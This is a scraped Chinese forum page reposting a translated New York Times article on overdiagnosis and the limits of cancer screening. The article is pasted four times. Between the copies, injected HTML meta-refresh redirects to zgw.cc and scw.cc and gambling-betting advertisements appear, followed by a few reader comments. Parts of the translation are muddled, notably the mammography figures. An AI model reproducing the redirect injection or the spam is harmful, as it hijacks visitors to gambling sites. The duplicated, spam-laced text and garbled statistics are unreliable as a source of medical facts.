超级军网癌症筛检是把双刃剑
来源：百度文库 编辑：超级军网 时间：2024/04/27 22:40:03
<br /><br />http://blog.sciencenet.cn/home.p ... g&id=503555
英文原载：《纽约时报》
医学家发现许多癌症是惰性的。它们增长非常缓慢或完全停止增长。有的甚至会自行退化因而不需要治疗——因为它们是无害的。所以癌症并不是越早诊治越好。
几十年来，癌症筛检作为一种最有效——也许是唯一的措施，受到普遍重视，它使人们得以逃脱这种致命疾病的袭击，是目前仍在被普遍使用的诊断手段。
但是，目前专家提出警告，诸如前列腺癌、乳腺癌以及宫颈癌应该尽量少做筛检，专家并且强调，筛检对身体的损害不可忽视。
两年前，著名的美国预防服务专责小组公布了测试数据并发布了筛检诊断指南，指出：40岁以上的妇女进行乳腺筛检利弊参半，而年龄在50到74岁的妇女应该考虑把通常每年一次的筛检改为每两年进行一次。
该小组今年进一步指出，广泛进行前列腺特有抗原（P.S.A prostate-specific antigen）筛检对前列腺癌患者的生命并无补益，反而会造成更大的伤害。该小组并且告诫，对绝大多数妇女而言，针对宫颈癌症的巴氏试验应该是每3年进行一次，而不应该每年进行。
为什么对癌症筛查的看法发生这么大的变化？
很大程度上，这是因为可获得的有效信息增加。与其他类型的诊断方法对比的最新临床试验已经完成，研究结果显示，癌症筛检的风险和成本比任何传统诊断手段都要高。
最近的两次前列腺癌症临床试验结果令人对前列腺癌筛检是否对挽救病人生命有益产生怀疑。试验表明，癌症筛检往往导致部分癌症患者去做不应该做的治疗，因为这些患者的癌肿本来对他们并不会造成损害。
一项针对乳腺X造影的最新分析报告指出，在每年经X造影发现的138,000例阳性显示者中，其中120,000 到134,000名已经患有癌症，不过其中有的已经无法挽救，有的癌症增长十分缓慢，其实不再需要则治疗。
癌症专家指出，一个不能忽视的现实是，普遍开展的癌症筛检，尽管有时候对早期发现癌症病人有一定帮助，但是这些案例只占癌症病例的很小一部分。于此同时，这项研究清楚地显示了癌症筛检的危害。
美国癌症学会首席干事奥蒂斯?布劳利博士说：“筛检是一把双刃剑，所以医生在做筛检的时候，一定要慎之又慎。”
不过，这些建议对许多人来说，是难以接受的。比如泌尿科、放射科和肿瘤科的医师，他们面对病痛和死亡威胁的病人，对减少筛检的主张很容易产生抵触情绪。对于全科医生来说，也许他们会同意这项新的筛检指南，因为要给病人解释清楚为什么要每年做一次乳腺X造影或P.S.A筛检，毕竟是一件很头疼的事情。
也有些医生担心如果他们不建议做筛检而恰巧有病人增生了恶性状瘤，会引起法律诉讼。而一些病人常常表示，即使筛检有风险，但是如果这种检测能够挽救生命，他们也甘愿冒险去争取这样的机会。
也有些评论提出另外的问题，比如美国癌症学会的布劳利博士就提出：现在提倡减少筛检，是不是因为担心费用问题？不过，如论如何这只是一个很简单的学术论争，事实上，绝大多数医生面对许多病人仍然在建议频繁地做筛检；再者说，即使医生愿意减少筛检，病人是否也同意这样做呢？
癌症专家的回答是，上述问题的关键是一个度的把握。不过他们认为，这是一个不好下定论的问题。因为研究人员总是倾向于未雨绸缪，所以他们会探讨癌症筛检带来的危害。
英国达特茅斯医学院（Dartmouth Medical School）的吉尔伯特?韦尔奇博士则提出一个折中的观点，他说：在这个问题上应该走第三条路线。我所担心的是，我们的想法被认为太激进。研究癌症筛检的好处，是很容易得到支持的事情。但是研究它的危害，看来与人们的思维习惯差距太大了一些。”
他说，提出这样的主张，现在不是时候。
不过，在对待癌症筛检问题上，随着不同观点的提出，人们已经开始了新的思考。
布劳利博士提出：“如果不再用筛检的办法，我们如何去发现癌症？现在要解决的问题是，如何去发现癌症，并且如何使癌症死亡率降低？”
另一个需要关注的焦点是成本问题。
举例来说，最近出版的新英格兰医学杂志发表了两位前列腺癌专家撰写的文章，他们提供一组最新研究报告的数据——为了避免前列腺癌患者的死亡，从筛检到治疗平均每个病例的花费是520万美元。而另外两位作者，美国南卡罗来纳州医学院的阿兰?S?布莱特博士和亚利桑那大学的理查德?阿伯林所提供的数字并不包含在内。看来该文测算的成本是确切的，甚至有所保留。
上述文章指出：“我们认为，现在通行的基于前列腺特有抗原（P.S.A）的癌症筛检并不能比保健优先的方针更优越。”
北卡罗来纳州大学的拉塞尔?哈里斯博士（Dr. Russell P. Harris）是一位从事筛检研究的专业人员，他认为，癌症筛检的成本是一个必须考虑的因素，因为其费用之高已经接近于极限。”
不过，医学专家指出，许多人包括一些医生，他们对减少筛检的主张感到困惑，这是可以理解的。
来自明尼苏达大学的提摩西?维尔特博士（Dr. Timothy J. Wilt）是这个项目研究小组成员之一，他说：“人们十多年来形成的观念和习惯是很难立刻转变的。”
一定程度上，医生和患者都是陷于在癌症困境中的难兄难弟。癌症是1845年由德国医学家鲁道夫?魏尔啸(Rudolf Virchow)最初识别并定义的，他通过尸体解剖对肿瘤进行观察研究，指出癌症是一种增长失控并致人死命的肿瘤。当然，他当年只看到了癌症致命的一面，并没有认识到癌症的其他特征。
布劳利博士说，“现在我们正在对癌症进行逆向探索”，近几年来，医学家发现许多癌症——如果不能说是绝大多数的话——是惰性的。它们增长非常缓慢或完全停止增长。有的甚至会自行退化因而不需要治疗——因为它们是无害的。
布劳利博士指出： “在癌症的认识上，我们正在从1845年的定义出发，向21世纪的癌症定义进发。”
他进一步指出，现在越来越多的人开始认识到癌症筛检的局限和风险。
由于医院和热衷于这一技术手段的群体的推动，加上人们多年形成的对于筛检利弊的偏见和误解，使得癌症筛检的应用正方兴未艾，改变这一现状的过程只能缓慢地进行。
关于解决对癌症筛检的认识，布劳利博士指出，现在我们面对的情况是“大家都看到过这一诊断方法的正面效应，而且从小开始就被告知癌症治疗需要及早发现和彻底割除”，这些印象都是根深蒂固的。
尽管如此，他对前景还是抱有乐观的态度。
“我认为人们事实上已经开始对这个问题有所认识，我们所需要的做的只是在实施癌症筛检时把关更慎重一些，”布劳利博士说，“我感觉这个过程像是一场社会运动。”
<meta http-equiv="refresh" content="0; url=http://zgw.cc">
<meta http-equiv="refresh" content="0; url=http://scw.cc">
<link href="http://zgw.cc/aaa.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://scw.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩☆足球.篮球...各类投注开户下注
<P> </P>
推荐→第一投注☆:倍率高.存取速度快.国内最好的投注平台
<br /><br />http://blog.sciencenet.cn/home.p ... g&id=503555
英文原载：《纽约时报》
医学家发现许多癌症是惰性的。它们增长非常缓慢或完全停止增长。有的甚至会自行退化因而不需要治疗——因为它们是无害的。所以癌症并不是越早诊治越好。
几十年来，癌症筛检作为一种最有效——也许是唯一的措施，受到普遍重视，它使人们得以逃脱这种致命疾病的袭击，是目前仍在被普遍使用的诊断手段。
但是，目前专家提出警告，诸如前列腺癌、乳腺癌以及宫颈癌应该尽量少做筛检，专家并且强调，筛检对身体的损害不可忽视。
两年前，著名的美国预防服务专责小组公布了测试数据并发布了筛检诊断指南，指出：40岁以上的妇女进行乳腺筛检利弊参半，而年龄在50到74岁的妇女应该考虑把通常每年一次的筛检改为每两年进行一次。
该小组今年进一步指出，广泛进行前列腺特有抗原（P.S.A prostate-specific antigen）筛检对前列腺癌患者的生命并无补益，反而会造成更大的伤害。该小组并且告诫，对绝大多数妇女而言，针对宫颈癌症的巴氏试验应该是每3年进行一次，而不应该每年进行。
为什么对癌症筛查的看法发生这么大的变化？
很大程度上，这是因为可获得的有效信息增加。与其他类型的诊断方法对比的最新临床试验已经完成，研究结果显示，癌症筛检的风险和成本比任何传统诊断手段都要高。
最近的两次前列腺癌症临床试验结果令人对前列腺癌筛检是否对挽救病人生命有益产生怀疑。试验表明，癌症筛检往往导致部分癌症患者去做不应该做的治疗，因为这些患者的癌肿本来对他们并不会造成损害。
一项针对乳腺X造影的最新分析报告指出，在每年经X造影发现的138,000例阳性显示者中，其中120,000 到134,000名已经患有癌症，不过其中有的已经无法挽救，有的癌症增长十分缓慢，其实不再需要则治疗。
癌症专家指出，一个不能忽视的现实是，普遍开展的癌症筛检，尽管有时候对早期发现癌症病人有一定帮助，但是这些案例只占癌症病例的很小一部分。于此同时，这项研究清楚地显示了癌症筛检的危害。
美国癌症学会首席干事奥蒂斯?布劳利博士说：“筛检是一把双刃剑，所以医生在做筛检的时候，一定要慎之又慎。”
不过，这些建议对许多人来说，是难以接受的。比如泌尿科、放射科和肿瘤科的医师，他们面对病痛和死亡威胁的病人，对减少筛检的主张很容易产生抵触情绪。对于全科医生来说，也许他们会同意这项新的筛检指南，因为要给病人解释清楚为什么要每年做一次乳腺X造影或P.S.A筛检，毕竟是一件很头疼的事情。
也有些医生担心如果他们不建议做筛检而恰巧有病人增生了恶性状瘤，会引起法律诉讼。而一些病人常常表示，即使筛检有风险，但是如果这种检测能够挽救生命，他们也甘愿冒险去争取这样的机会。
也有些评论提出另外的问题，比如美国癌症学会的布劳利博士就提出：现在提倡减少筛检，是不是因为担心费用问题？不过，如论如何这只是一个很简单的学术论争，事实上，绝大多数医生面对许多病人仍然在建议频繁地做筛检；再者说，即使医生愿意减少筛检，病人是否也同意这样做呢？
癌症专家的回答是，上述问题的关键是一个度的把握。不过他们认为，这是一个不好下定论的问题。因为研究人员总是倾向于未雨绸缪，所以他们会探讨癌症筛检带来的危害。
英国达特茅斯医学院（Dartmouth Medical School）的吉尔伯特?韦尔奇博士则提出一个折中的观点，他说：在这个问题上应该走第三条路线。我所担心的是，我们的想法被认为太激进。研究癌症筛检的好处，是很容易得到支持的事情。但是研究它的危害，看来与人们的思维习惯差距太大了一些。”
他说，提出这样的主张，现在不是时候。
不过，在对待癌症筛检问题上，随着不同观点的提出，人们已经开始了新的思考。
布劳利博士提出：“如果不再用筛检的办法，我们如何去发现癌症？现在要解决的问题是，如何去发现癌症，并且如何使癌症死亡率降低？”
另一个需要关注的焦点是成本问题。
举例来说，最近出版的新英格兰医学杂志发表了两位前列腺癌专家撰写的文章，他们提供一组最新研究报告的数据——为了避免前列腺癌患者的死亡，从筛检到治疗平均每个病例的花费是520万美元。而另外两位作者，美国南卡罗来纳州医学院的阿兰?S?布莱特博士和亚利桑那大学的理查德?阿伯林所提供的数字并不包含在内。看来该文测算的成本是确切的，甚至有所保留。
上述文章指出：“我们认为，现在通行的基于前列腺特有抗原（P.S.A）的癌症筛检并不能比保健优先的方针更优越。”
北卡罗来纳州大学的拉塞尔?哈里斯博士（Dr. Russell P. Harris）是一位从事筛检研究的专业人员，他认为，癌症筛检的成本是一个必须考虑的因素，因为其费用之高已经接近于极限。”
不过，医学专家指出，许多人包括一些医生，他们对减少筛检的主张感到困惑，这是可以理解的。
来自明尼苏达大学的提摩西?维尔特博士（Dr. Timothy J. Wilt）是这个项目研究小组成员之一，他说：“人们十多年来形成的观念和习惯是很难立刻转变的。”
一定程度上，医生和患者都是陷于在癌症困境中的难兄难弟。癌症是1845年由德国医学家鲁道夫?魏尔啸(Rudolf Virchow)最初识别并定义的，他通过尸体解剖对肿瘤进行观察研究，指出癌症是一种增长失控并致人死命的肿瘤。当然，他当年只看到了癌症致命的一面，并没有认识到癌症的其他特征。
布劳利博士说，“现在我们正在对癌症进行逆向探索”，近几年来，医学家发现许多癌症——如果不能说是绝大多数的话——是惰性的。它们增长非常缓慢或完全停止增长。有的甚至会自行退化因而不需要治疗——因为它们是无害的。
布劳利博士指出： “在癌症的认识上，我们正在从1845年的定义出发，向21世纪的癌症定义进发。”
他进一步指出，现在越来越多的人开始认识到癌症筛检的局限和风险。
由于医院和热衷于这一技术手段的群体的推动，加上人们多年形成的对于筛检利弊的偏见和误解，使得癌症筛检的应用正方兴未艾，改变这一现状的过程只能缓慢地进行。
关于解决对癌症筛检的认识，布劳利博士指出，现在我们面对的情况是“大家都看到过这一诊断方法的正面效应，而且从小开始就被告知癌症治疗需要及早发现和彻底割除”，这些印象都是根深蒂固的。
尽管如此，他对前景还是抱有乐观的态度。
“我认为人们事实上已经开始对这个问题有所认识，我们所需要的做的只是在实施癌症筛检时把关更慎重一些，”布劳利博士说，“我感觉这个过程像是一场社会运动。”
<meta http-equiv="refresh" content="0; url=http://zgw.cc">
<meta http-equiv="refresh" content="0; url=http://scw.cc">
<link href="http://zgw.cc/aaa.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://scw.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩☆足球.篮球...各类投注开户下注
<P> </P>
推荐→第一投注☆:倍率高.存取速度快.国内最好的投注平台
英文原载：《纽约时报》
医学家发现许多癌症是惰性的。它们增长非常缓慢或完全停止增长。有的甚至会自行退化因而不需要治疗——因为它们是无害的。所以癌症并不是越早诊治越好。
几十年来，癌症筛检作为一种最有效——也许是唯一的措施，受到普遍重视，它使人们得以逃脱这种致命疾病的袭击，是目前仍在被普遍使用的诊断手段。
但是，目前专家提出警告，诸如前列腺癌、乳腺癌以及宫颈癌应该尽量少做筛检，专家并且强调，筛检对身体的损害不可忽视。
两年前，著名的美国预防服务专责小组公布了测试数据并发布了筛检诊断指南，指出：40岁以上的妇女进行乳腺筛检利弊参半，而年龄在50到74岁的妇女应该考虑把通常每年一次的筛检改为每两年进行一次。
该小组今年进一步指出，广泛进行前列腺特有抗原（P.S.A prostate-specific antigen）筛检对前列腺癌患者的生命并无补益，反而会造成更大的伤害。该小组并且告诫，对绝大多数妇女而言，针对宫颈癌症的巴氏试验应该是每3年进行一次，而不应该每年进行。
为什么对癌症筛查的看法发生这么大的变化？
很大程度上，这是因为可获得的有效信息增加。与其他类型的诊断方法对比的最新临床试验已经完成，研究结果显示，癌症筛检的风险和成本比任何传统诊断手段都要高。
最近的两次前列腺癌症临床试验结果令人对前列腺癌筛检是否对挽救病人生命有益产生怀疑。试验表明，癌症筛检往往导致部分癌症患者去做不应该做的治疗，因为这些患者的癌肿本来对他们并不会造成损害。
一项针对乳腺X造影的最新分析报告指出，在每年经X造影发现的138,000例阳性显示者中，其中120,000 到134,000名已经患有癌症，不过其中有的已经无法挽救，有的癌症增长十分缓慢，其实不再需要则治疗。
癌症专家指出，一个不能忽视的现实是，普遍开展的癌症筛检，尽管有时候对早期发现癌症病人有一定帮助，但是这些案例只占癌症病例的很小一部分。于此同时，这项研究清楚地显示了癌症筛检的危害。
美国癌症学会首席干事奥蒂斯?布劳利博士说：“筛检是一把双刃剑，所以医生在做筛检的时候，一定要慎之又慎。”
不过，这些建议对许多人来说，是难以接受的。比如泌尿科、放射科和肿瘤科的医师，他们面对病痛和死亡威胁的病人，对减少筛检的主张很容易产生抵触情绪。对于全科医生来说，也许他们会同意这项新的筛检指南，因为要给病人解释清楚为什么要每年做一次乳腺X造影或P.S.A筛检，毕竟是一件很头疼的事情。
也有些医生担心如果他们不建议做筛检而恰巧有病人增生了恶性状瘤，会引起法律诉讼。而一些病人常常表示，即使筛检有风险，但是如果这种检测能够挽救生命，他们也甘愿冒险去争取这样的机会。
也有些评论提出另外的问题，比如美国癌症学会的布劳利博士就提出：现在提倡减少筛检，是不是因为担心费用问题？不过，如论如何这只是一个很简单的学术论争，事实上，绝大多数医生面对许多病人仍然在建议频繁地做筛检；再者说，即使医生愿意减少筛检，病人是否也同意这样做呢？
癌症专家的回答是，上述问题的关键是一个度的把握。不过他们认为，这是一个不好下定论的问题。因为研究人员总是倾向于未雨绸缪，所以他们会探讨癌症筛检带来的危害。
英国达特茅斯医学院（Dartmouth Medical School）的吉尔伯特?韦尔奇博士则提出一个折中的观点，他说：在这个问题上应该走第三条路线。我所担心的是，我们的想法被认为太激进。研究癌症筛检的好处，是很容易得到支持的事情。但是研究它的危害，看来与人们的思维习惯差距太大了一些。”
他说，提出这样的主张，现在不是时候。
不过，在对待癌症筛检问题上，随着不同观点的提出，人们已经开始了新的思考。
布劳利博士提出：“如果不再用筛检的办法，我们如何去发现癌症？现在要解决的问题是，如何去发现癌症，并且如何使癌症死亡率降低？”
另一个需要关注的焦点是成本问题。
举例来说，最近出版的新英格兰医学杂志发表了两位前列腺癌专家撰写的文章，他们提供一组最新研究报告的数据——为了避免前列腺癌患者的死亡，从筛检到治疗平均每个病例的花费是520万美元。而另外两位作者，美国南卡罗来纳州医学院的阿兰?S?布莱特博士和亚利桑那大学的理查德?阿伯林所提供的数字并不包含在内。看来该文测算的成本是确切的，甚至有所保留。
上述文章指出：“我们认为，现在通行的基于前列腺特有抗原（P.S.A）的癌症筛检并不能比保健优先的方针更优越。”
北卡罗来纳州大学的拉塞尔?哈里斯博士（Dr. Russell P. Harris）是一位从事筛检研究的专业人员，他认为，癌症筛检的成本是一个必须考虑的因素，因为其费用之高已经接近于极限。”
不过，医学专家指出，许多人包括一些医生，他们对减少筛检的主张感到困惑，这是可以理解的。
来自明尼苏达大学的提摩西?维尔特博士（Dr. Timothy J. Wilt）是这个项目研究小组成员之一，他说：“人们十多年来形成的观念和习惯是很难立刻转变的。”
一定程度上，医生和患者都是陷于在癌症困境中的难兄难弟。癌症是1845年由德国医学家鲁道夫?魏尔啸(Rudolf Virchow)最初识别并定义的，他通过尸体解剖对肿瘤进行观察研究，指出癌症是一种增长失控并致人死命的肿瘤。当然，他当年只看到了癌症致命的一面，并没有认识到癌症的其他特征。
布劳利博士说，“现在我们正在对癌症进行逆向探索”，近几年来，医学家发现许多癌症——如果不能说是绝大多数的话——是惰性的。它们增长非常缓慢或完全停止增长。有的甚至会自行退化因而不需要治疗——因为它们是无害的。
布劳利博士指出： “在癌症的认识上，我们正在从1845年的定义出发，向21世纪的癌症定义进发。”
他进一步指出，现在越来越多的人开始认识到癌症筛检的局限和风险。
由于医院和热衷于这一技术手段的群体的推动，加上人们多年形成的对于筛检利弊的偏见和误解，使得癌症筛检的应用正方兴未艾，改变这一现状的过程只能缓慢地进行。
关于解决对癌症筛检的认识，布劳利博士指出，现在我们面对的情况是“大家都看到过这一诊断方法的正面效应，而且从小开始就被告知癌症治疗需要及早发现和彻底割除”，这些印象都是根深蒂固的。
尽管如此，他对前景还是抱有乐观的态度。
“我认为人们事实上已经开始对这个问题有所认识，我们所需要的做的只是在实施癌症筛检时把关更慎重一些，”布劳利博士说，“我感觉这个过程像是一场社会运动。”
<meta http-equiv="refresh" content="0; url=http://zgw.cc">
<meta http-equiv="refresh" content="0; url=http://scw.cc">
<link href="http://zgw.cc/aaa.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://scw.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩☆足球.篮球...各类投注开户下注
<P> </P>
推荐→第一投注☆:倍率高.存取速度快.国内最好的投注平台
<br /><br />http://blog.sciencenet.cn/home.p ... g&id=503555
英文原载：《纽约时报》
医学家发现许多癌症是惰性的。它们增长非常缓慢或完全停止增长。有的甚至会自行退化因而不需要治疗——因为它们是无害的。所以癌症并不是越早诊治越好。
几十年来，癌症筛检作为一种最有效——也许是唯一的措施，受到普遍重视，它使人们得以逃脱这种致命疾病的袭击，是目前仍在被普遍使用的诊断手段。
但是，目前专家提出警告，诸如前列腺癌、乳腺癌以及宫颈癌应该尽量少做筛检，专家并且强调，筛检对身体的损害不可忽视。
两年前，著名的美国预防服务专责小组公布了测试数据并发布了筛检诊断指南，指出：40岁以上的妇女进行乳腺筛检利弊参半，而年龄在50到74岁的妇女应该考虑把通常每年一次的筛检改为每两年进行一次。
该小组今年进一步指出，广泛进行前列腺特有抗原（P.S.A prostate-specific antigen）筛检对前列腺癌患者的生命并无补益，反而会造成更大的伤害。该小组并且告诫，对绝大多数妇女而言，针对宫颈癌症的巴氏试验应该是每3年进行一次，而不应该每年进行。
为什么对癌症筛查的看法发生这么大的变化？
很大程度上，这是因为可获得的有效信息增加。与其他类型的诊断方法对比的最新临床试验已经完成，研究结果显示，癌症筛检的风险和成本比任何传统诊断手段都要高。
最近的两次前列腺癌症临床试验结果令人对前列腺癌筛检是否对挽救病人生命有益产生怀疑。试验表明，癌症筛检往往导致部分癌症患者去做不应该做的治疗，因为这些患者的癌肿本来对他们并不会造成损害。
一项针对乳腺X造影的最新分析报告指出，在每年经X造影发现的138,000例阳性显示者中，其中120,000 到134,000名已经患有癌症，不过其中有的已经无法挽救，有的癌症增长十分缓慢，其实不再需要则治疗。
癌症专家指出，一个不能忽视的现实是，普遍开展的癌症筛检，尽管有时候对早期发现癌症病人有一定帮助，但是这些案例只占癌症病例的很小一部分。于此同时，这项研究清楚地显示了癌症筛检的危害。
美国癌症学会首席干事奥蒂斯?布劳利博士说：“筛检是一把双刃剑，所以医生在做筛检的时候，一定要慎之又慎。”
不过，这些建议对许多人来说，是难以接受的。比如泌尿科、放射科和肿瘤科的医师，他们面对病痛和死亡威胁的病人，对减少筛检的主张很容易产生抵触情绪。对于全科医生来说，也许他们会同意这项新的筛检指南，因为要给病人解释清楚为什么要每年做一次乳腺X造影或P.S.A筛检，毕竟是一件很头疼的事情。
也有些医生担心如果他们不建议做筛检而恰巧有病人增生了恶性状瘤，会引起法律诉讼。而一些病人常常表示，即使筛检有风险，但是如果这种检测能够挽救生命，他们也甘愿冒险去争取这样的机会。
也有些评论提出另外的问题，比如美国癌症学会的布劳利博士就提出：现在提倡减少筛检，是不是因为担心费用问题？不过，如论如何这只是一个很简单的学术论争，事实上，绝大多数医生面对许多病人仍然在建议频繁地做筛检；再者说，即使医生愿意减少筛检，病人是否也同意这样做呢？
癌症专家的回答是，上述问题的关键是一个度的把握。不过他们认为，这是一个不好下定论的问题。因为研究人员总是倾向于未雨绸缪，所以他们会探讨癌症筛检带来的危害。
英国达特茅斯医学院（Dartmouth Medical School）的吉尔伯特?韦尔奇博士则提出一个折中的观点，他说：在这个问题上应该走第三条路线。我所担心的是，我们的想法被认为太激进。研究癌症筛检的好处，是很容易得到支持的事情。但是研究它的危害，看来与人们的思维习惯差距太大了一些。”
他说，提出这样的主张，现在不是时候。
不过，在对待癌症筛检问题上，随着不同观点的提出，人们已经开始了新的思考。
布劳利博士提出：“如果不再用筛检的办法，我们如何去发现癌症？现在要解决的问题是，如何去发现癌症，并且如何使癌症死亡率降低？”
另一个需要关注的焦点是成本问题。
举例来说，最近出版的新英格兰医学杂志发表了两位前列腺癌专家撰写的文章，他们提供一组最新研究报告的数据——为了避免前列腺癌患者的死亡，从筛检到治疗平均每个病例的花费是520万美元。而另外两位作者，美国南卡罗来纳州医学院的阿兰?S?布莱特博士和亚利桑那大学的理查德?阿伯林所提供的数字并不包含在内。看来该文测算的成本是确切的，甚至有所保留。
上述文章指出：“我们认为，现在通行的基于前列腺特有抗原（P.S.A）的癌症筛检并不能比保健优先的方针更优越。”
北卡罗来纳州大学的拉塞尔?哈里斯博士（Dr. Russell P. Harris）是一位从事筛检研究的专业人员，他认为，癌症筛检的成本是一个必须考虑的因素，因为其费用之高已经接近于极限。”
不过，医学专家指出，许多人包括一些医生，他们对减少筛检的主张感到困惑，这是可以理解的。
来自明尼苏达大学的提摩西?维尔特博士（Dr. Timothy J. Wilt）是这个项目研究小组成员之一，他说：“人们十多年来形成的观念和习惯是很难立刻转变的。”
一定程度上，医生和患者都是陷于在癌症困境中的难兄难弟。癌症是1845年由德国医学家鲁道夫?魏尔啸(Rudolf Virchow)最初识别并定义的，他通过尸体解剖对肿瘤进行观察研究，指出癌症是一种增长失控并致人死命的肿瘤。当然，他当年只看到了癌症致命的一面，并没有认识到癌症的其他特征。
布劳利博士说，“现在我们正在对癌症进行逆向探索”，近几年来，医学家发现许多癌症——如果不能说是绝大多数的话——是惰性的。它们增长非常缓慢或完全停止增长。有的甚至会自行退化因而不需要治疗——因为它们是无害的。
布劳利博士指出： “在癌症的认识上，我们正在从1845年的定义出发，向21世纪的癌症定义进发。”
他进一步指出，现在越来越多的人开始认识到癌症筛检的局限和风险。
由于医院和热衷于这一技术手段的群体的推动，加上人们多年形成的对于筛检利弊的偏见和误解，使得癌症筛检的应用正方兴未艾，改变这一现状的过程只能缓慢地进行。
关于解决对癌症筛检的认识，布劳利博士指出，现在我们面对的情况是“大家都看到过这一诊断方法的正面效应，而且从小开始就被告知癌症治疗需要及早发现和彻底割除”，这些印象都是根深蒂固的。
尽管如此，他对前景还是抱有乐观的态度。
“我认为人们事实上已经开始对这个问题有所认识，我们所需要的做的只是在实施癌症筛检时把关更慎重一些，”布劳利博士说，“我感觉这个过程像是一场社会运动。”
<meta http-equiv="refresh" content="0; url=http://zgw.cc">
<meta http-equiv="refresh" content="0; url=http://scw.cc">
<link href="http://zgw.cc/aaa.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<link href="http://scw.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>
6.合.彩☆足球.篮球...各类投注开户下注
<P> </P>
推荐→第一投注☆:倍率高.存取速度快.国内最好的投注平台
现代医学统计学研究证明，在美国推行乳腺筛检以来的二十年间，已经拯救了上百万人的生命。对癌症筛检来说，有益的方面是绝对的主要方面。
吓死一大批
“许多”表述不清，没什么说服力。
有时候，西医强调对抗的思想导致病症没有消掉，自己消掉了。
nikecross 发表于 2011-11-8 11:33 ![]()
有时候，西医强调对抗的思想导致病症没有消掉，自己消掉了。
那不过是医学发展的局限性罢了，现代医学实际上还处在婴儿期，对于许多疾病的理解还相当初级，个人认为癌症误判的几率非常高，再来个化疗，没病也变成有病的了。。。。。但这不等同于过去中医的理论解释和研究方式就是正确的。科学原本就没有中西之分，只有真伪之别。
有时候，西医强调对抗的思想导致病症没有消掉，自己消掉了。
那不过是医学发展的局限性罢了，现代医学实际上还处在婴儿期，对于许多疾病的理解还相当初级，个人认为癌症误判的几率非常高，再来个化疗，没病也变成有病的了。。。。。但这不等同于过去中医的理论解释和研究方式就是正确的。科学原本就没有中西之分，只有真伪之别。